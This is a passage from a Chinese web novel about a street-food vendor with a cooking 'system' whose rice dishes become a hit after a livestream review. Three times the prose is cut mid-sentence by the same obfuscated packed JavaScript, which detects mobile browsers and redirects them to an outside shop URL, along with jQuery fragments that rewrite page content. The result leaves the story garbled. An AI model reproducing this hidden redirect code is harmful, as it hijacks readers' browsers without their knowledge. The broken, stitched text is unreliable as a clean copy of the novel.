《美食人生（系统）》 7. 今晚最佳食物 “热好了，我们先看看这个玉米芝士。这么一小份，一份38，我买了4份。”岳华把一个圆形的锡纸盒放到镜头面前展示了一下。 “还是很香的，这个买得多一点。一个是它看起来就没几口，另一个咱给新来的朋友解释一下，我女儿现在初中，刚好长身体的时候，晚上就老饿。 她属于喜欢少吃但要多餐的那种，我们晚上直播一般也都会特意买点小孩子能吃的，大晚上太油腻不好消化的也不让她多吃。” 岳华一边闲聊，一边用一次性筷子捞出一口放到嘴里。 重新烤过后，芝士就开始拉丝。 “嗯嗯。”岳华吃得连连点头，“兄弟姐妹们，这个芝士玉米味道不错。这个玉米是那种韧韧的又很甜，它和便利店里面那种糯玉米或者甜玉米有点不一样，比那种好吃。” 岳华又吃了两口，然后把一份递给崔苗，另外两份推给镜头外的女儿。 “你们也吃。”一边给女儿和老婆拿勺子，一边笑道：“这玉米有点像是农村以前种的那种玉米，又水又甜。芝士的话，就是普通超市买的那种，咱就是实话实说，38有点贵了，要是18一份就很值得买。这一份我吃就三四口，38一份的话，我还没吃过味。” 弹幕很多都在飘。 【这个芝士玉米看起来确实有胃口，我看网上有教程，我自己做试试看。】 【18一份也贵啊，看起来没多少。就算玉米再好，7、8块钱也顶天了，一根玉米起码能做3份。】 【7、8块也贵啊，就算是超市也有不少是1块2块一根，当地农民收的还几毛钱一根呢。】 【好饿，我爱吃芝士，看着我也好想吃。】 【买的？给地址，38我高低吃一次看看。】 【主播每次都是晚上8点直播，我都跟着吃了两年宵夜了。昨天体检，发现胖了十二斤，还有轻度脂肪肝了。】 直播间人数已经显示有三万多，所以弹幕飘得太快，说什么的都有，岳华和崔苗两人也看不全。 今晚已经算是少的。 刚好是节假日的话，他们有时候在线观看人数有小十万这么多。 玉米芝士吃完的快，岳华喝了口水清了清嘴里的味道之后就开始拆回锅肉饭，“这个我来看看啊，我买了两份。这街头餐车，我们都知道，反正主打就是不干不净，吃了没病。 但大热天的，这老板为了卫生一直戴着口罩，看着很年轻，而且那个锅碗瓢盆什么的都擦的锃光瓦亮。” 弹幕一溜烟飘起来。 【哈哈哈哈，是的是的，我们年轻人摆摊就是这样，因为我们自己也吃。】 【真的，街上的摊位一定要吃年轻人的，用料足还干净。】 【哭死，我摆过小蛋糕的摊位，我进的料是货真价实的动物奶油，什么都用最好的，结果一天下来，一大半卖不出去。】 【其实很多年轻人摆摊，用料差自己看不过眼，用料好价格就又贵，所以生意就不好。】 【性价比问题，顾客肯定想，你都没水电门店费，你还这么贵，我为什么不去店里买？】 【啊啊啊，年轻人摆摊就是这样，共情了。】 【上次我可怜一个老爷爷摆摊，就买了他的糖葫芦。我吃了一颗一回头，看到他嘴里含着冰水往糖葫芦上喷，给我恶心的。】 【老人摆的蔬菜摊也是，我看到过。】 【天啊，我还遇到过一些中年男摆摊卖现烤鸡腿，我想吃来着，结果才走进就看到他一点不避讳地对着鸡腿打喷嚏。】 岳华读了几条弹幕后，已经拿起了一次性筷子，“实话说，我对这个回锅肉盖饭很看好。因为老板做的时候，我闻着就超级香。” “来，我先来吃一口。” 岳华夹了一大口上面的肉送入口中，然后直播视频里面的弹幕就全变成了问号。 【这什么表情？？？？？】 【？？？？？？】 【胖子怎么不说话了，好不好吃？？？】 【？？？？？？】 岳华连吃了两口，然后拿起旁边的饮料喝了一口后又连吃几口，这才嚼着食物囫囵开口，“好吃，我真不是托。” 岳华赶紧把还有一份推给镜头外的女儿，自己那份拿起来分给崔苗。 “老婆你吃吃看，味道是真的好。” “兄弟姐妹们，真不是我瞎说，我刚刚一口下去都有点好吃迷糊了。怎么说呢，就是上面的回锅肉它非常的鲜和香，但又不是那种调料味很重的鲜香。 那个五花肉每一片都略微有一点微焦，里面的油被煸出了一些，不油腻但又保持着肉香，吃到嘴里有点回弹。 然后它这个肉汁啊，有种一下刺到你味觉的辣，但你不觉得胃烧得难受，它就是那种刚刚好的刺激起你胃口，让你吃了一口就还想吃下一口，我都停不下来。” “哇，真的好吃，你多给我点。”崔苗一吃也是眼睛一亮，刚好看到岳华在讲解食物，又从他那份里面扒拉过来一点。 “姐妹们，这回锅肉盖饭绝了，你们是没看到，我女儿现在吃得特别香。”崔苗吃得一脸满足。 是真好吃。 岳华看了看那份回锅肉饭，“我得再去弄点白米饭混一下这个肉汁，这实在太香了，早知道厚着脸皮也买三份了。” 弹幕一下激动起来。 【这么好吃？？？真不是托？？】 【两年老粉回答你们，不是托。华子和苗子就是靠不说假话起的粉丝，这说明是真好吃。】 【这么夸张？胖子以前可很少这么夸过。】 【不是，你形容得也太让人流口水了。我不管，哪里买的？我现在也要出去买。】 【我和胖子家的ip定位都在同一座城市，我也要去，告诉我在哪儿，我开车去。】 【苗苗吃得也太香了，我也想吃。】 【我去，岳华暴风吸入。】 【真这么好吃？】 【？？？】 【给我尝尝？】 【我宣布，这是今晚最佳。】 岳华一口气把一半的回锅肉盖饭吃完，虽然自己又加了一点白米饭，但还是没吃够。 他胃口本来就大，现在看着吃得空空如也的饭盒，实在是有点意犹未尽。 弹幕一下变得特别热闹，直播人数也开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15993281|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始上涨到了四万。 【哈哈哈哈，看华子的眼神，他一定在看屏幕外星星的饭。】 【星星说，不给。现在给饭，老了拔管。】 【岳华又把目光投向了苗苗，哈哈哈。】 【他刚刚简直是暴风吸入，现在好了，没吃够。】 【真这么好吃？华子快说，哪里买的，我高低要现在去买。】 【吃得实在是太香了，我真的好饿。】 岳华看着满屏的弹幕，甚至还有各种礼物，顿时笑着开口，“真的好吃，没想到那个小老板真的有一手，怪不得这么多人买。 至于有人说现在去买，那不用去了。我买的时候就没几份了，老板卖完就回去了。我再测试一下那个卤货，选出今天最好吃的就和大家分享。” 不过瘾也没办法，只能明天再去了。 岳华打开卤货，啃了一口猪蹄，然后点点头笑道：“猪蹄没弄干净，你们看，这个猪脚这边还有不少毛。 吃起来的话，猪皮有点韧，然后口感是麻辣味的。咱们这边的人吃不了太辣，我能吃点辣，但是麻就不行了，这太麻了，我不是很吃得了。 香倒是够香，就是那个猪蹄的辣是那种辛辣，胃不好的人可能也受不了。我问过老板，他一般五香味做得比较少，大多是这种麻辣的，也主推麻辣。” 之后又尝试了鸭脖。 “这个没那么麻，但鸭脖的肉口感比较软，不够结实，辣还是那种辛辣感，我是吃不了了，我老婆估计也不行。这个就放冰箱了，明天拿去送人。” 这会儿崔苗也把回锅肉盖饭吃完了。 “全吃完了，我好久晚上没吃这么多米饭了。”崔苗看了看直播间，然后笑道：“我都想从我女儿那边再舀一点吃，虽然吃不下了，可嘴巴还是馋。” 岳华笑了起来，“好了，今晚的直播测评就是这些了，现在我来总结一下。那个炒粉、炒饭就不推荐了，特别是那个炒饭。虽然便宜，但味道实在一言难尽。 钵钵鸡的话还可以，就是爱吃肉的就别专门去蹲点买了，他家肉不太好，蔬菜是可以的。玉米芝士味道不错，就是分量和价格上性价比不高。卤味这个，我们全家都吃不了太辣太麻，我只能说仁者见仁智者见智了。 然后就是今晚的全场最佳，我们一致认为就是回锅肉盖饭了。我们打包回来有点时间了，里面的青椒都有些黄了，估计现场吃，肯定更好吃。” “我们强力推荐，那今天就分享这个餐车店，一会儿地址分享在公屏上，大家感兴趣可以去试试。 不过老板是摆摊的，摆摊大家都知道，摊位不固定，明天是不是在那儿我就不清楚了。” 岳华笑道，最后又说了句，“但我没吃够，明天带上老婆孩子还打算去排队买，这回我们现场吃。” 他说完又随意聊了会，九点多以后，岳华和崔苗才关了直播间。 而此刻房间的梵挽还在研究香菇，笔记做了一整页。 “应该差不多了，明天早点起来，去菜市场买完食材后就马上去找香菇。”打定主意后，梵挽在洗漱完后，侧着身美滋滋地看着那个宋陶瓷，好久才迷迷糊糊睡着了。 8. 好香的萝卜骨头汤 梵挽一觉到天亮，没被闹钟吵醒，倒是被接二连三的电话给闹醒了。 醒来一看，竟然是大冰柜还有其他一些家电到了。他买的同一个品牌，客服还给他单独发了一个满减的优惠券。 一大早就送货上门，服务很好。 梵挽立马起床，来不及洗漱就麻溜往楼下跑。 来送货的师傅也客气，在梵挽的指挥下就帮他抬到了楼上，“小哥，冰柜静置半天再通电。另外这些原包装纸箱别扔，要是有问题，三个月内有问题都是可以包退包换的。” “好嘞。”梵挽给师傅送了瓶水，等师傅一走就抓紧洗漱。 他今天忙得很。 洗脸刷牙后，立马骑着电瓶车就去了菜市场。他一会儿中午还得出餐，所以先要把食材备齐了。 “小伙子，还是你，又买这么多呢？” 菜市场门口，老太太一脸期待地看着梵挽。 梵挽发现她又提了一篮子的西红柿，还有一些野菜，不过这回没土鸡蛋了。也是，要是鸡养得不多，那土鸡蛋需要攒几天才会有，哪能次次提溜一大瓶子出来卖。 梵挽顺势就蹲下笑道：“这些西红柿我还一口气买完，让您早点回家去休息。” 老太太还挺健谈的，上次就送了不少番薯叶和野菜，可不就是为了和梵挽做长久生意嘛。 这会儿，老太太一边给梵挽装东西，一边笑道：“小哥家里开餐馆的？” 这菜买得有点多，不太像是一家人吃。 “对，弄了个餐车，做点外卖生意。”梵挽看着那些西红柿，倒是挺满意。 这些自己种的西红柿，不像是菜市场那种看着特别红，但切下去又有点硬，没什么味道。 这种西红柿红中带着一点青，闻起来就一股浓郁番茄香，切的时候硬软适中，汁水也多，所以昨天挺受欢迎的。 老太太乐了起来，“小哥，那要么你看我加你个微信？我退休了，自己在乡下种了点蔬菜什么。也吃不完，多得扔掉浪费，所以每天坐车过来卖。我这坐一天，家里孩子每次都要说我累得慌，不爱我出来。 你看不如这样，我有什么菜就问问你，你需要我直接卖给你，也省得大热天等太久，回头还被我家孩子念叨。” 想了下，老太太又开口，“我给你便宜点，你看行不行？” 梵挽才发现老太太用的还是最新的手机，小九千呢，挺时尚。 “行啊。” 加了联系方式才知道老太太叫许梅，老师退休，退休金不低。年纪大了以后不爱住在城里，就在郊外乡下花三十万买了个后靠山前带小院子的房子。年轻人住着是不方便，再说那房子也办不了房产过户，只能自己签个买卖协议。但老人住得开心，那就这么着了。 许梅依旧把那些番薯叶什么都算作饶头，一口气都送给了梵挽。 “小哥，那说好了啊。”许梅腿脚挺利索，这会儿地上的蛇皮袋卷好后，挥挥手就赶公交去了。 梵挽笑了笑，电瓶车一踩，直奔回家。 东西放好，看看时间八点不到。梵挽吃着面包就带着笔记本跑出了门，然后直奔市中心大型购物超市。 “这里还是会员制，一年288，快看看有没有合格的香菇干。” 梵挽推着小推车，在副食品区到处找。 系统也不断冒出文字评价。 【菇体丰满，质地密实，具有特殊香味和质感，但有轻微受潮迹象。】 【外形美观，肉质肥厚，使用烘干手段制作，但烘干手法粗糙，已影响香菇口感。】 【利用柞木生产，质地细腻，香菇干口感优。现有香菇干大小不一，有部分劣质混杂其中。】 梵挽挑了半天，系统总能找到各种缺点。 “这个呢？这个怎么样？” 系统说的多了，梵挽自己都能分辨一点香菇干的优劣。 “香菇干依旧有大有小，但我多买一点，回头最好的挑出来给你好不好？”梵挽都快把这里有的香菇品种看完了。 【花菇朵型圆润、肉厚、质地细腻，菇朵上有自然白色花纹，口感鲜嫩，极优。】 在梵挽嘀咕中，终于挑到一款系统满意的。 不过梵挽拿起一看，果然这是最贵的。 贵有贵的道理。 买了不老少后，梵挽又去买了另外一种香菇。这种香菇系统评价是仿原始自然生长，太阳晒干，花菇朵大小不一，口感软糯清爽。评价只堪堪接近优，但系统却说这反而最适合来配他的香菇滑鸡饭。 梵挽也问为什么，不是有更好的吗？ 虽然用了更贵的香菇后，他的香菇滑鸡饭利润下降了不少，可梵挽只要想起昨晚食客满意的表情，自己也想把食物做得尽善尽美。 系统却说。 【食材的好坏讲究品质完美、健康无害、营养充沛。但好的厨艺，美味的食物，讲究的是相得益彰的适配性。 冷冻鸡腿肉的口感相对寡淡，也不够鲜美。而这种原木香菇更能激发食材本身的味道，烹饪后，软糯清爽的口感能有效中和鸡腿肉中的腥味和寡淡。经过系统推演，这种原木香菇更适合香菇鸡腿饭。】 梵挽给系统竖起了大拇指。 食物讲究搭配，搭配适宜远比单方面某样食材更贵来做菜要美味得多。 梵挽抱着一大堆的香菇去结账。 一到家，梵挽就把系统评价极优的香菇干收走了，最后也没让他把朵型不太好的挑选一下，还挺关照他。 梵挽想看它怎么拿走，结果也没看清楚。就是嗖一下就没了，就和小说里面的储物袋似的。 “真神奇。” 【任务完成，风火淋汁配方请查收。】 梵挽一直觉得这个配方名字很霸气。 “原来是这样，东西倒是挺常见。这个还要先炒红油，黄酒提香...真是学到了。”梵挽一边嘀咕，一边配制这个风火淋汁酱料，最后也是差不多弄了一罐二十份左右的量。 梵挽也不打算多弄。 他现在享受做饭菜，然后看到食客满意的神情，也不只是为了钱。 这个社会已经很卷了，梵挽不想继续卷，也更想自己保持初心。钱么，够赚就可以了。 再说，大中午外面实在太热了。 大电饭锅用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15993282|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，还有新买的巨大高压锅，梵挽把昨天放冰箱的萝卜还有刚刚买的大骨头棒都放了进去。 昨天切的萝卜别浪费，一会儿中午免费送。 结果系统看不下去。 【刀工练习，是否接受任务？】 【备注：任务奖励，一份汤料包。】 梵挽看着冷不丁冒出来的任务，正在准备一会儿要用食材的手一停，“喂喂，不是说你没任务的吗？话说这个任务，你是不是觉得我的萝卜大骨头汤太一般了，你看不下去？” 系统无言。 “好啊，不说就是默认。” 系统继续无言。 “这骨头汤本来就是送的，没必要太认真吧？”梵挽嘀咕，这大骨头他还花了五十来块钱。 【对待任何食物，都要保持认真。】 梵挽愣了下，然后慢慢吐了口气，“我知道了。” 系统不是在嫌弃他的萝卜大骨头汤太一般，而是觉得他既然对外售卖，是给食客吃的东西，也不能抱着‘免费的东西，你们挑剔什么’这样的心态。 不接任务也不会死，这个美食系统没任何强制惩罚措施，甚至梵挽以后不理它都可以。 但梵挽真诚地道歉，“对不起。” “还有接受任务。” 梵挽从塑料袋中掏了下，这次他依旧顺手买了菠萝，不过比昨天少。梵挽本来是打算下午空了，跃跃欲试想要练习菠萝雕花来着。 “那就现在吧。” 他先找了个视频，刚开始刀从哪里下手都不知道。 雕花和切萝卜皮，那区别可大了。 一直到磕磕绊绊雕出一朵很丑的萝卜花后，梵挽隐约找到了一点手感，“就是这样。” 他没专业的老师，只能根据自己摸索得舒服的方式来。 当完全沉浸进去后，之前切萝卜的那种感觉又来了。梵挽真的很喜欢这种完完全全的沉浸，他有种我又悟道了的那种感觉。 这回一直到梵挽忽然脚步一软，整个人感到一阵巨大的疲惫感后才发现手抖得厉害，右手那把小刀差点拿不住。 他手酸得厉害，腿软，肚子还饿得有点抽筋了。 “我消耗了多少能量啊。”梵挽感觉自己腿都在发颤，一下和低血糖一样，二话不说就抓过一旁准备的面包和巧克力就开始吃。 一连吃了两包三人份的吐司面包，两条巧克力，五个能量棒，两瓶功能饮料，梵挽才感觉自己活过来了。 “舒服了。” 这工夫，他手脚的力气才逐渐恢复过来。 【任务完成，刀工+10，汤料包已下发。】 梵挽一下又满血复活了。 根据系统给出的汤料包使用方法，本来萝卜和大骨头的熬煮是有说法的，最后在恰当的时机再放汤料包。 现在菠萝和大骨头已经被他囫囵放了，前置条件已经没了，后置条件就只能将就了。 算了下时间，差不多后丢入汤料包，然后继续高压锅压制。 最后出气儿的时候，梵挽就已经闻到了浓郁的骨头香。 “好香啊。”他想先给自己来一碗。 9. 卖完了卖完了 “好喝。”梵挽一口气喝了两碗，这才满意的一擦嘴夸起系统。 这锅大骨萝卜汤，梵挽就没怎么放调料，谁知道最后香成这样。这种熬煮，本来以为萝卜要么太过软烂，要么有些寡淡，谁知道入口还挺清甜。 还是系统优秀。 他熬煮的时间算得刚刚好，那个汤料包更是精华。 自己吃饱喝足，梵挽看了下时间，大电饭锅也显示饭煮好了，那接下来就该出发了。 提前泡发的香菇从水里洗干净拿出来，然后是煮好八分熟的猪肉，还有零零散散一些配菜。下楼时候，就看到住二楼的罗晴婆婆韩花花和梵挽打招呼，“今天中午也出去？” 梵挽小心翼翼的一趟趟搬东西，顺带笑道：“对，昨天卖得不错，有几个客人说中午还来，所以我打算试试。” “没想到啊，小碗你还有这种不错的手艺。”韩花花连连夸他。 她可知道，梵挽好歹也是正经大学毕业的，之前还让他给家里小孩辅导过作业。这种小孩她以为毕业坐办公室呢，没想到还会做饭这个手艺。 等东西在餐车上全放好，确保不会洒出来后，梵挽和韩花花打了个招呼就开着餐车往外走。 大中午就是热。 梵挽摸了摸口罩，晚上不是很看得清都有点不好意思，大中午就更不想拿掉了。 热就热吧。 到了地方，还有些距离呢，梵挽竟然看到好多人在街上晃来晃去，乍一看比他昨晚来人还多。 但中午一般出来摆摊的人很少，一个是热，路上的客流量也少，不值当出来，一个很多人是下班以后来赚外快的。 梵挽都有点发怵了，他寻思是不是前面街上出什么事了。 他试着餐车开上去一点，结果还没停稳竟然有一群人跑了过来，“戴口罩的...你是卖回锅肉饭的老板？” 梵挽一下被一群人围住，吓得从餐车上赶紧下来。 “怎...怎么了？”一瞬间，他都怀疑是不是昨晚自己卖的东西有问题。 挤在最前面的是一个穿着蓝色T恤的中年男人，他个高加上体型不小，不少人不太敢挤他。 一听梵挽的话，他直接笑道：“老板，我大早上开了两个小时车专门过来的，就为了吃你这个回锅肉饭。快快，给我来十份，我打包带走。” 他这一说，后面的人就吵嚷了起来。 这就不地道了。 “专门来的？”梵挽下意识问他，旁边就有人直接喊，“老板发财了，昨晚你做的东西被‘胖子爱吃饭’这个博主推荐了，大家都是被安利推荐来的。” 梵挽实在没想到还有这茬。 但这边人实在围拢的太多了，天又热，梵挽怕惹出事，赶紧喊：“大家排队排队，每个人最多只能点两份。”犹豫了下，梵挽又喊：“谢谢大家捧场，大家退开一点，我先把车停好。” 梵挽动作很利索。 车在不碍事的路边一停稳，直接起锅烧油，“要什么？” 当先就是那个大哥。 “那就一份回锅肉，一份香菇滑鸡饭。” 梵挽立刻热火朝天烧了起来，很快两份热腾腾的盖饭摆在对方面前。 “两份，饭免费续。今天还有免费的萝卜大骨头汤，那边有一次性的盒子，自己舀。” 那大哥立马提着东西往旁边走，然后一个衣着精致的女士从一旁的便利店出来接了过来，“好热，咱们去店里吃？” 不少人来了很久了，他们早到，提前一个多小时。 这么晒哪里行，所以很多人不是去旁边的便利店、奶茶店就去蛋糕店，买个东西就坐下等梵挽。 这大哥一擦大脑门上的汗，“老婆，快，我们试试看，昨天看胖子吃的样儿，给我谗的不行。” 坐下后，大哥直接端起萝卜大骨头汤先喝。 这汤冷了不好喝，另一个，厨师手艺好不好，这种明面上的东西一口就能吃出来。 一口入喉，他就咂吧了下嘴。 一个是有点烫，还有一个是真鲜。 不是加了味精的那种鲜，而是那个汤明明看起来很清淡，但里面却有着浓郁的骨头肉的肉香，肉香全散在汤里了，这才是真正的汤啊。 他立马又用筷子夹了一块萝卜到嘴里，不烂不硬刚刚好，萝卜里面没丝，咬下去萝卜的清甜混杂着肉汤的香，简直是双重享受。 “老婆，你快喝这个汤，是真好吃。” “咱们上次去上海的那个饭店，你还记得不。有个汤单价就要888，味道还不如它。” 那餐厅不仅人均贵，还要提前一个月预约。 最后他俩吃了三万多，然后听服务员讲解了一堆有关所谓菜的文化，最后云里雾里地吃完。有几道菜的味道还是可以的，有几道纯粹吃了个‘文化’。 女人也马上喝了一口，然后连连点头，“这汤肉香这么足，看起来不油腻就算了，吃起来竟然还有淡淡的甘甜。” 他俩一边喝一边聊天，顺带也打开了香菇滑鸡饭和回锅肉盖饭。 回锅肉盖饭果然和胖子说的那样，鲜香辣在舌尖绽开，你是吃一口就想吃下一口。 还有那个香菇滑鸡饭，昨晚岳华没买，也就没测评。 但今天他们吃了，味道也是一绝。 这个香菇滑鸡饭里面的蘑菇泡发得刚刚好，一口下去，口感滑嫩还有充足的鸡腿汤汁的香，再配合上一块肉一口饭，也是能让人吃上一大碗饭。 回锅肉盖饭毕竟还有点辣，要是一丁点辣也吃不了的人，那吃这个香菇滑鸡饭简直就是刚刚好。 他俩这边暴风吸入吃，一会儿工夫，也有不少人进到便利店坐到他们旁边一起吃。 食物的美味就摆在眼前，简直就是一吃一个不吱声。 等这大哥和他老婆把买的两份吃得干干净净，这会儿还有点意犹未尽。 “还想喝口汤。” 他老婆也是点点头。 汤是免费的，不浪费的前提下，和米饭一样随便续。 实在还想最后垫吧一口，俩人打着伞顶着太阳出去，就看到队伍是越来越长了，年轻的老板对着人群喊：“我准备的不多，每样就二十份，现在快没了，后面的别排了，别排了。” 这大哥摸着肚子走到餐车边，看了看人群，还要火上浇油，“是真好吃，大家要是没吃到可惜了。” 梵挽听得哭笑不得。 说话间，他又拿起一个一次性盒子开始舀汤。 他老婆在一边有点不好意思，他们都是体面人，不爱占人便宜。免费喝一次就算了，一直续，弄得像是他们没吃过饱饭一样。 但实在太好吃了。 “老板，我叫戴博，这是我老婆姚梦，我们认识一下，回头我们还要天天来吃你的东西。”这大哥舀起一碗递给他老婆后，也脸红的索性介绍起自己。 姚梦倒是实在得很，一边喝一边竟然在扫码付钱，“老板，我给你扫过去一百，这汤真好喝。” “梵挽。” 人家说了自己的名字，梵挽也只能开口。 只是他没想到姚梦会扫钱，有心不要，但钱自动到账了。 这会儿他忙得很，也没空做这种推来推去的事，只能想着下次给他们免费，要么给他们的饭菜到时候多做一点。 “饭碗？”他一报名字，戴博喝着汤下意识开口。 “梵音的梵，挽手的挽，梵挽，不是饭碗。”梵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15993283|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挽脸一红，好多人第一次都这样听错。 万幸戴着口罩。 再说大中午天热，晒和烤的脸热。 一边随意和食客闲聊，一边做饭，又过去小半个小时，梵挽就喊：“没了，没了，后面的别排队了。” 这次除了不少慕名而来的食客，因为这边人多，竟然陆续也吸引来了一些路人。 大家都问这里卖什么呢。 得知是回锅肉之类的盖饭还有点惊奇。 但不少食客都是现场吃的，吃完立马就呼朋引伴企图再排队买，可实在买不到了。 这会儿听到没了，不少人就喊：“老板，你多做一点，你看我们都还没吃上。” 吃上的也直接开口：“老板，你晚上还来不来，我想叫我朋友也来吃。” “老板，能不能加个联系方式，你几点出摊，到时候和我讲一下行不行？” “老板，不如你拉个群，然后群里直接预定行吗？” 不少人七嘴八舌，梵挽只是摇了摇头，“我晚上来的，大概四点半到这边，只会提前不会迟到，加联系方式就算了。” 他不太习惯和陌生人沟通，从小他都有点‘独’。 对熟人他挺能讲的，但和不熟悉的人沟通，梵挽就觉得很耗费心力。 不少人还在企图说服梵挽，但梵挽已经低头开始收拾起东西了。 “老板，你也太死板了，赚钱啊。” “话说老板竟然叫饭碗...这饭菜好吃得对得起这个名字。” 这功夫，因为天实在太热。现在都卖完了，加上梵挽都快收拾好了，不少人也只能散去。 有的人竟然现场喊：“大家要不加我的联系方式？我拉个群。我就住在附近，我以后我来‘堵’老板，一发现老板就马上通知所有人。” 不少刚刚买到梵挽盖饭的人竟然眼睛一亮，马上同意。 实在太好吃了。 戴博都去加，加了才发现这个小兄弟的头像是一只哈士奇，网名是上帝之狼。 中二病少年。 上帝之狼说到做到，马上就开始拉群。 梵挽看了他们几眼，收拾了差不多，低着头骑上车就走，也不管别人喊他。 骑出去拐了个弯，他在一家文具店的门口竟然看到了随地坐着休息的王国安和戴二亮。 他们就在这边的工地工作，这会儿是午休。 他们浑身汗臭，也没地方去，一般都会在一些阴凉的店铺门口随意躺着睡一会儿。 路过的时候，他停下了车。 梵挽记得他们，因为王国安是昨晚第一个来买他盖饭的人，本来说好今天中午还要来吃的，他刚刚没看到。 感觉到有人，眯眼打盹的王国安两人以为是干扰了别人进出，下意识迷迷糊糊睁眼就往旁边挪。 “两位...是我。” 王国安一抬头，才发现是梵挽。 “老板，是你啊。”王国安起来笑，“今天我看你生意很好，老板恭喜恭喜啊。” 他中午和戴二亮去了，但人太多，而且他们身上全是汗臭。 排队排不上，也影响别人，所以看了看就走了。 梵挽就知道他们一定去了。 他下车在餐车下层捣鼓了下，然后拿出两份提前打包好的回锅肉盖饭，还有两碗汤。 他提前准备好的，不算在那二十的份额里面。 王国安昨天率先来买他的东西，给了他信心，梵挽很感谢他。 “我特意给你们留的，不用钱。” 梵挽就不擅长和人煽情，这种事做得更是脸红的不好意思。所以压根不想推辞来推辞去，这会儿一放下，不等王国安开口，骑上车就跑。 10. 饭碗老板，这边这边！ 梵挽以为中午人不多，东西卖完会比较慢，谁知道反而比昨晚都要早。一点都不到，他就回到了小院。 大白天工作日，这边租住的人不是上班就是上学，就韩花花一直听着动静。听到声，就从二楼出来张望，“小碗，这么快就回来了？出去才两个小时左右吧？” 梵挽正在拿要洗的餐具下来，一边搬一边应声，“对，今天来了不少人，一下就卖完了。” 韩花花摇着扇子惊叹，“小碗，你这手艺了不得，一天下来得挣两三千吧，一个月都五六万了。” 就算去掉成本，成本算它一半，也有两三万啊。 她儿子赵冲在做什么器械的销售，好的时候一个月一万多，差的时候也就五六千的底薪。但就这样，一年就没个正儿八经休息的，老是喝酒，现在都有胃病。年纪轻轻，血压也不好。 儿媳罗晴做的是文员的活，一个月六千，交了社保公积金，到手就五千多。她年纪大了，不挣钱，就在家里里里外外帮忙收拾，再接送孩子。 一家几口人，加起来还没梵挽挣得多，而且他这活不累啊。 “小碗，你这手艺回头能不能教教小晴啊。上次还说起，说家里小孩大了打算买房，小晴两口子寻思下班了，再找个挣钱的活儿。” 梵挽没想到韩花花会这么说。 大家住一起，上下楼关系也挺不错的，只是这事么...... “韩奶奶，我想想。再说下班去摆摊也累的，赵哥总是在外跑业务，晴姐下班就辅导孩子，恐怕也没时间。” 韩花花估摸梵挽是拒绝的意思，索性就不说话了，只是看着他搬了两趟，这才叹气回了房。 梵挽把餐具弄回厨房后，一时也有些尴尬。 大家抬头不见低头见，他也不知道这样拒绝妥不妥当。 “系统。” 系统的淡蓝色版面浮现在眼前。 “系统，你说要不要教？要不教一个回锅肉盖饭，让晴姐去别的地方摆摊就好了。” 今天来他这边就人多，好多人没吃上。 再说，有了系统，梵挽也看出来了，系统最厉害的就是有很多推演了极致的各种菜谱。有系统的帮助，他以后也不可能只做回锅肉盖饭。 【系统无权干涉宿主的任何决定。】 系统冒出的文字十分简洁。 “好吧。”梵挽嘀咕了声，洗干净锅碗瓢盆后，自己有些懒散地躺在床上随意打发时间，“系统，你有名字吗？” 【没有，名字是一个代号，对系统而言没有任何意义，系统只是科技的产物，不具备生命实体。 宿主会对系统产生‘认同感’或者认为系统是人类相似智慧产物，是因为系统和宿主脑神经相连，系统学习了宿主所在智慧生物群体交流的相关知识。 简单来说，系统模仿了宿主的语言、习惯、社会习性等，让宿主便于接受系统，也更能理解系统的存在，仅此而已。】 如果美食系统掉落在别的文明，它也会根据别的文明，然后进行调整沟通方式。本质，它可以简单理解为一个智能AI。 这回冒出来的文字多了。 “好好，我知道了。总之，你可能都不是系统，只是我这个时代对应‘系统’这样的东西更好理解，所以你说是系统，就像是你对之前的几个宿主说是天外之物，神仙法器一样。” 【是的。】 梵挽甩了甩脑袋，“我懒得想这么多，不管了，还是给你取个名字吧，叫恒星怎么样？” 系统不回应。 梵挽也无所谓，他只是定了个闹钟，睡了会儿。看看下午两点多了，就把早上放在冰柜里面的猪肉什么都拿起来清理。 他买的是一天餐的份量，用完刚刚好。 一边清理的时候，梵挽一边也顺带在清理番薯叶和那些野菜。许梅连着送了两天，梵挽已经积累一大塑料袋了。 “系统，萝卜已经做汤了，也没浪费，这个番薯叶和野菜我打算做个凉菜，有没有什么合适的凉拌菜料汁？” 凉拌菜这种东西，搭配好的料汁是大头。要是拌料不好吃，那基本这个凉拌菜就毁了。 系统版面闪烁了下，然后浮现出了一个任务。 【寻找最合适的鸡腿肉，做出最美味的香菇滑鸡饭，是否接受任务？】 【任务奖励：三味浸香汁配方。】 “接受接受。”梵挽一下就从床上跳起来，但接受后立马啧啧起来，“系统你是不是有强迫症？一定要我把香菇鸡腿饭做到完美？” 这个香菇鸡腿饭，第一天去菜市场，系统对食材的评价一直不够高。 除了香菇外，还有就是鸡腿肉。 